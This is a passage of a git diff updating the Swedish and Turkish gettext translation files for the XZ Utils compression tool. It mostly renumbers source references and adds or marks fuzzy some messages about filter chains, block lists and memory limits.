src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB minne krävs. Begränsaren inaktiverad." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB minne krävs. Begränsningen är %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Filterkedja: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Testa ”%s --help” för mer information." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -675,15 +671,15 @@ msgstr "" "Komprimera eller dekomprimera FILer i .xz-formatet.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Nödvändiga argument till långa flaggor är också nödvändiga för korta flaggor.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Operationsläge:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -695,7 +691,7 @@ msgstr "" " -t, --test testa integritet för komprimerad fil\n" " -l, --list lista information om .xz-filer" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -703,7 +699,7 @@ msgstr "" "\n" " Operationsmodifierare:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -714,7 +710,7 @@ msgstr "" " länkar\n" " -c, --stdout skriv till standard ut och ta inte bort indatafiler" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -722,7 +718,7 @@ msgstr "" " --single-stream dekomprimera endast den första strömmen och hoppa\n" " tyst över eventuellt återstående indata" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -738,7 +734,7 @@ msgstr "" " filnamn måste avslutas med nyradstecken\n" " --files0[=FIL] som --files men null-tecknet måste användas" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -746,7 +742,7 @@ msgstr "" "\n" " Grundläggande filformat och komprimeringsflaggor:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -758,11 +754,11 @@ msgstr "" " -C, --check=CHECK typ av integritetskontroll: ”none” (använd med\n" " försiktighet), ”crc32”, ”crc64” (standard), eller ”sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check verifiera inte integritet vid dekomprimering" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -771,7 +767,7 @@ msgstr "" " minnesanvändning för komprimerare *och* dekomprimerare\n" " i beaktande innan du använder 7-9!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -780,7 +776,7 @@ msgstr "" " använda mer CPU-tid; påverkar inte minnesanvändning för\n" " dekomprimerare" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -788,7 +784,7 @@ msgstr "" " -T, --threads=NUM använd högst NUM trådar; standard är 0 vilket använder\n" " lika många trådar som det finns processorkärnor" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -799,7 +795,7 @@ msgstr "" " använd detta för att sätta blockstorleken för trådad\n" " komprimering" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -813,7 +809,7 @@ msgstr "" " ange valfritt ett filterkedjenummer (0-9) följt av ett\n" " ”:” före den okomprimerade datastorleken" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -826,7 +822,7 @@ msgstr "" " mer indata skulle blockera, så kommer all väntande data\n" " att spolas ut" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -845,7 +841,7 @@ msgstr "" " dekomprimering, trådad dekomprimering, eller alla av\n" " dessa; BEGR är i byte, % RAM, eller 0 för standardvärden" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -854,7 +850,7 @@ msgstr "" " minnesanvändning, ge ett fel istället för att justera ner\n" " inställningarna" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -863,7 +859,7 @@ msgstr "" " Anpassad filterkedja för komprimering (alternativ till att använda\n" " förinställningar):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -874,7 +870,7 @@ msgstr "" " liblzma-filtersträngar; använd --filters-help för\n" " mer information" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -885,7 +881,7 @@ msgstr "" " syntax för liblzma-filtersträngar att\n" " använda med --block-list" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -893,7 +889,7 @@ msgstr "" " --filters-help visa mer information om syntax för\n" " liblzma-filtersträngar och avsluta." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -924,7 +920,7 @@ msgstr "" " bt4)\n" " depth=NUM maximalt sökdjup; 0=automatisk (standard)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -951,7 +947,7 @@ msgstr "" " start=NUM startposition för\n" " konverteringar (standard=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -963,7 +959,7 @@ msgstr "" " dist=NUM avstånd mellan byte som subtraheras\n" " från varandra (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -971,7 +967,7 @@ msgstr "" "\n" " Andra flaggor:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -980,17 +976,17 @@ msgstr "" " undertrycka fel\n" " -v, --verbose var utförlig; ange två gånger för än mer utförlig" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn låt inte varningar påverka avslutningsstatus" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot använd maskintolkningsbara meddelanden\n" " (användbara för skript)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -998,7 +994,7 @@ msgstr "" " --info-memory visa den totala mängden RAM och den för närvarande aktiva\n" " begränsningen av minnesanvändning och avsluta" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1007,7 +1003,7 @@ msgstr "" " flaggorna)\n" " -H, --long-help visar denna långa hjälp av avsluta" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1016,11 +1012,11 @@ msgstr "" " -H, --long-help visa den långa hjälpen (listar också de avancerade\n" " flaggorna)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version visa versionsnumret och avsluta" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1033,23 +1029,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Rapportera fel till <%s> (på engelska eller finska).\n" "Rapportera översättningsfel till \n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s webbsida: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "DETTA ÄR EN UTVECKLINGSVERSION SOM INTE ÄR AVSEDD FÖR PRODUKTIONSANVÄNDNING." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1061,7 +1057,7 @@ msgstr "" "separeras med mellanslag eller ”--”. Alternativt kan en förinställning\n" "<0-9>[e] anges istället för en filterkedja.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Filtren som stöds och flaggorna för dem är:" @@ -1156,6 +1152,9 @@ msgstr "Skrivning till standard ut misslyckades" msgid "Unknown error" msgstr "Okänt fel" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Misslyckades med att aktivera sandlådan" + #~ msgid "The selected match finder requires at least nice=%" #~ msgstr "Den valda matchningshittaren kräver åtminstone nice=%" diff --git a/po/tr.gmo b/po/tr.gmo new file mode 100644 index 00000000..12dcddc2 Binary files /dev/null and b/po/tr.gmo differ diff --git a/po/tr.po b/po/tr.po index e4bec148..6245397f 100644 --- a/po/tr.po +++ b/po/tr.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.4.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2022-12-03 00:34+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2022-12-05 19:00+0300\n" "Last-Translator: Emir SARI \n" "Language-Team: Turkish \n" @@ -19,127 +19,183 @@ msgstr "" "X-Bugs: Report translation errors to the Language-Team address.\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" -#: src/xz/args.c:64 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: --block-list için geçersiz argüman" -#: src/xz/args.c:74 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: --block-list için çok fazla argüman" -#: src/xz/args.c:103 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0, yalnızca --block-list içindeki son öge olarak kullanılabilir" -#: src/xz/args.c:436 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Bilinmeyen dosya biçimi türü" -#: src/xz/args.c:459 src/xz/args.c:467 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Desteklenmeyen bütünlük denetimi türü" -#: src/xz/args.c:503 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "'--files' veya '--files0' ile yalnızca bir dosya belirtilebilir." -#: src/xz/args.c:571 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "Çevre değişkeni %s, pek fazla argüman içeriyor" -#: src/xz/args.c:673 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Sıkıştırma desteği, yapım sırasında devre dışı bırakıldı" -#: src/xz/args.c:680 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Sıkıştırma açma desteği, yapım sırasında devre dışı bırakıldı" -#: src/xz/args.c:686 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "lzip dosyalarının (.lz) sıkıştırılması desteklenmiyor" -#: src/xz/coder.c:115 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: --format-raw ile, stdout'a yazılmıyorsa --suffix=.SUF gereklidir" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Olabilecek en çok süzgeç sayısı dörttür" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Verilen süzgeç ayarı için bellek kullanım sınırı pek düşük." -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Ham kipte bir önayar kullanımı önerilmez." -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Önayarların kesin seçenekleri yazılım sürümleri arasında ayrım gösterebilir." -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr ".lzma biçimi, yalnızca LZMA1 süzgecini destekler" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1, .xz biçimi ile birlikte kullanılamaz" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "Süzgeç zinciri, --flush-timeout ile uyumsuz" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "--flush-timeout nedeniyle tek iş parçacıklı kipe geçiliyor" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Desteklenmeyen seçenekler" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "En çok % iş parçacığı kullanılıyor." -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Desteklenmeyen süzgeç zinciri veya süzgeç seçenekleri" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "Sıkıştırma açma, %s MiB belleğe gereksinim duyacak." -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "%3$s MiB bellek kullanımı sınırını aşmamak için iş parçacığı sayısı %1$s -> %2$s olarak ayarlandı" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "İş parçacıklarının sayısı %s -> 1 olarak azaltıldı. %s MiB otomatik bellek sınırı hâlâ aşılıyor. %s MiB belleğe gereksinim var. Yine de sürdürülüyor." -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "%s MiB bellek kullanım sınırını aşmamak için tek iş parçacıklı kipe geçiliyor" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "%4$s MiB bellek kullanımı sınırını aşmamak için LZMA%1$c sözlük boyutu %2$s MiB'tan %3$s MiB'a ayarlandı" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "%4$s MiB bellek kullanımı sınırını aşmamak için LZMA%1$c sözlük boyutu %2$s MiB'tan %3$s MiB'a ayarlandı" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Veriyolu oluştururken hata: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Veriyolu oluştururken hata: %s" -#: src/xz/file_io.c:235 -msgid "Failed to enable the sandbox" -msgstr "Kum havuzu etkinleştirilemedi" - -#: src/xz/file_io.c:277 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() başarısız oldu: %s" @@ -154,252 +210,252 @@ msgstr "%s: poll() başarısız oldu: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:344 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Dosya taşınmış gibi görünüyor, kaldırılmıyor" -#: src/xz/file_io.c:351 src/xz/file_io.c:907 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Kaldırılamıyor: %s" -#: src/xz/file_io.c:377 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Dosya sahibi ayarlanamıyor: %s" -#: src/xz/file_io.c:390 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Dosya grubu ayarlanamıyor: %s" -#: src/xz/file_io.c:409 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Dosya izinleri ayarlanamıyor: %s" -#: src/xz/file_io.c:535 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Standart girdi'den dosya durum bayrakları alınırken hata: %s" -#: src/xz/file_io.c:593 src/xz/file_io.c:655 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Bir sembolik bağ, atlanıyor" -#: src/xz/file_io.c:684 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Bir dizin, atlanıyor" -#: src/xz/file_io.c:690 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Olağan bir dosya değil, atlanıyor" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Dosyanın setuid'si veya setgid biti ayarlanmış, atlanıyor" -#: src/xz/file_io.c:714 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Dosyanın yapışkan bit seti var, atlanıyor" -#: src/xz/file_io.c:721 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Girdi dosyasında birden çok sabit bağ var, atlanıyor" -#: src/xz/file_io.c:763 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Boş dosya adı, atlanıyor" -#: src/xz/file_io.c:817 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Standart girdi'ye durum bayrakları geri yüklenirken hata: %s" -#: src/xz/file_io.c:865 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Standart çıktı'dan dosya durum bayrakları alınırken hata: %s" -#: src/xz/file_io.c:1043 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Standart çıktı'dan O_APPEND bayrağı geri yüklenirken hata: %s" -#: src/xz/file_io.c:1055 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Dosyayı kapatma başarısız: %s" -#: src/xz/file_io.c:1091 src/xz/file_io.c:1354 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Bir aralıklı dosya oluşturmaya çalışırken arama başarısız: %s" -#: src/xz/file_io.c:1192 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Okuma hatası: %s" -#: src/xz/file_io.c:1222 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Dosyayı ararken hata: %s" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Dosyanın beklenmedik sonu" -#: src/xz/file_io.c:1305 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Yazma hatası: %s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Devre dışı" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "Fiziksel bellek miktarı (RAM):" -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "İşlemci iş parçacığı sayısı:" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "Sıkıştırma:" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "Sıkıştırma açma:" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "Çok iş parçacıklı sıkıştırma açma:" -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "-T0 için öntanımlı:" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "Donanım bilgisi:" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "Bellek kullanım sınırları:" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "Akışlar:" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "Bloklar:" -#: src/xz/list.c:70 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "Sıkıştırılmış boyut:" -#: src/xz/list.c:71 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "Sıkıştırılmamış boyut:" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "Oran:" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "Denetim:" -#: src/xz/list.c:74 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "Akış dolgusu:" -#: src/xz/list.c:75 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "Gereken bellek:" -#: src/xz/list.c:76 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "Üstbilgideki boyut:" -#: src/xz/list.c:79 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "Dosya sayısı:" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "Akış" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "Blok" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "Bloklar" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "SkştrOfseti" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "SkştrmmşOfset" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "SkştrBoyut" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "SkştrmmşBoyut" -#: src/xz/list.c:129 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "ToplamBoyut" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "Oran" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "Denetim" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "DğrDentm" -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "Dolgu" -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "Üstveri" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "Bayrak" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "BelKullnm" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "Süzgeçler" @@ -407,7 +463,7 @@ msgstr "Süzgeçler" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "Yok" @@ -415,60 +471,60 @@ msgstr "Yok" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "?-2" -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "?-3" -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "?-5" -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "?-6" -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "?-7" -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "?-8" -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "?-9" -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "?-11" -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "?-12" -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "?-13" -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "?-14" -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "?-15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: Dosya boş" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Geçerli bir .xz dosyası olabilmek için pek küçük" @@ -477,41 +533,45 @@ msgstr "%s: Geçerli bir .xz dosyası olabilmek için pek küçük" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:730 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr " Akış Blok Sıkıştırıl. Sıkıştırmas. Oran Denetim Dosya ad" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Evet" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Hayır" -#: src/xz/list.c:1027 src/xz/list.c:1205 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " En düşük XZ Utils sürümü: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1178 +#: src/xz/list.c:1188 